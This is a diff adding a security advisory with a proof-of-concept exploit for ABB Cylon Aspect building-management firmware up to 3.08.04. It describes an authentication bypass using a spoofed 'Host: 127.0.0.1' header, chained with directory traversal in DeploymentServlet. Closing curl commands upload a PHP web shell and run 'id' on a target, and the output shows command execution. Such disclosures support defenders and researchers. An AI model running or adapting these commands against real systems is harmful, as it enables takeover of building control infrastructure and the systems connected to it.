|
| 1 | +ABB Cylon Aspect 3.08.04 DeploySource - Remote Code Execution (RCE) |
| 2 | + |
| 3 | + |
| 4 | +Vendor: ABB Ltd. |
| 5 | +Product web page: https://www.global.abb |
| 6 | +Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio |
| 7 | + Firmware: <=3.08.04 |
| 8 | + |
| 9 | +Summary: ASPECT is an award-winning scalable building energy management |
| 10 | +and control solution designed to allow users seamless access to their |
| 11 | +building data through standard building protocols including smart devices. |
| 12 | + |
| 13 | +Desc: ABB Cylon Aspect BMS/BAS is vulnerable to a critical flaw in the |
| 14 | +AuthenticatedHttpServlet within its application server, enabling |
| 15 | +remote attackers to bypass authentication by setting the Host: |
| 16 | +127.0.0.1 header. This deceives the server into processing requests |
| 17 | +as if they originate from localhost, granting unauthorized access |
| 18 | +to privileged operations. This bypass grants access to privileged |
| 19 | +functionality, including the DeploymentServlet, which is vulnerable |
| 20 | +to directory traversal. By leveraging this, an attacker can write |
| 21 | +arbitrary PHP files outside the intended directory scope. When combined, |
| 22 | +these issues allow remote attackers to upload a malicious PHP shell |
| 23 | +and execute system commands with the privileges of the web server, |
| 24 | +leading to full system compromise. |
| 25 | + |
| 26 | +Tested on: GNU/Linux 3.15.10 (armv7l) |
| 27 | + GNU/Linux 3.10.0 (x86_64) |
| 28 | + GNU/Linux 2.6.32 (x86_64) |
| 29 | + Intel(R) Atom(TM) Processor E3930 @ 1.30GHz |
| 30 | + Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz |
| 31 | + PHP/7.3.11 |
| 32 | + PHP/5.6.30 |
| 33 | + PHP/5.4.16 |
| 34 | + PHP/4.4.8 |
| 35 | + PHP/5.3.3 |
| 36 | + AspectFT Automation Application Server |
| 37 | + lighttpd/1.4.32 |
| 38 | + lighttpd/1.4.18 |
| 39 | + Apache/2.2.15 (CentOS) |
| 40 | + OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64) |
| 41 | + OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode) |
| 42 | + ErgoTech MIX Deployment Server 2.0.0 |
| 43 | + |
| 44 | + |
| 45 | +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic |
| 46 | + @zeroscience |
| 47 | + |
| 48 | + |
| 49 | +Advisory ID: ZSL-2025-5954 |
| 50 | +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5954.php |
| 51 | + |
| 52 | + |
| 53 | +21.04.2024 |
| 54 | + |
| 55 | +-- |
| 56 | + |
| 57 | + |
| 58 | +$ cat project |
| 59 | + |
| 60 | + P R O J E C T |
| 61 | + |
| 62 | + .| |
| 63 | + | | |
| 64 | + |'| ._____ |
| 65 | + ___ | | |. |' .---"| |
| 66 | + _ .-' '-. | | .--'| || | _| | |
| 67 | + .-'| _.| | || '-__ | | | || | |
| 68 | + |' | |. | || | | | | || | |
| 69 | + ____| '-' ' "" '-' '-.' '` |____ |
| 70 | +░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ |
| 71 | +░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ |
| 72 | +░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ |
| 73 | +░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ |
| 74 | +░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ |
| 75 | +░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ |
| 76 | +░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ |
| 77 | + ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ |
| 78 | + ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ |
| 79 | + ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ |
| 80 | + ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░ |
| 81 | + ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ |
| 82 | + ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ |
| 83 | + ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ |
| 84 | + |
| 85 | + |
| 86 | +$ curl "http://192.168.73.31:7226/servlets/DeploymentServlet\ |
| 87 | +> ?RequestType=DeploySource\ |
| 88 | +> &filename=../../../home/MIX_CMIX/htmlroot/zsl.php\ |
| 89 | +> &directory=/" \ |
| 90 | +> --data-binary @zsl.php \ |
| 91 | +> -H "Host: 127.0.0.1" \ |
| 92 | +> -H "Content-Type: application/octet-stream" |
| 93 | +<HTML><HEAD><TITLE>200 Successful</TITLE></HEAD><BODY>200 Successful</BODY></HTML> |
| 94 | + |
| 95 | +$ curl http://192.168.73.31/zsl.php?cmd=id;ls -al zsl.php |
| 96 | +uid=48(apache) gid=48(apache) groups=48(apache),0(root) context=system_u:system_r:httpd_t:s0 |
| 97 | +-rw-r--r--. 1 root root 106 Jun 4 13:29 zsl.php |
0 commit comments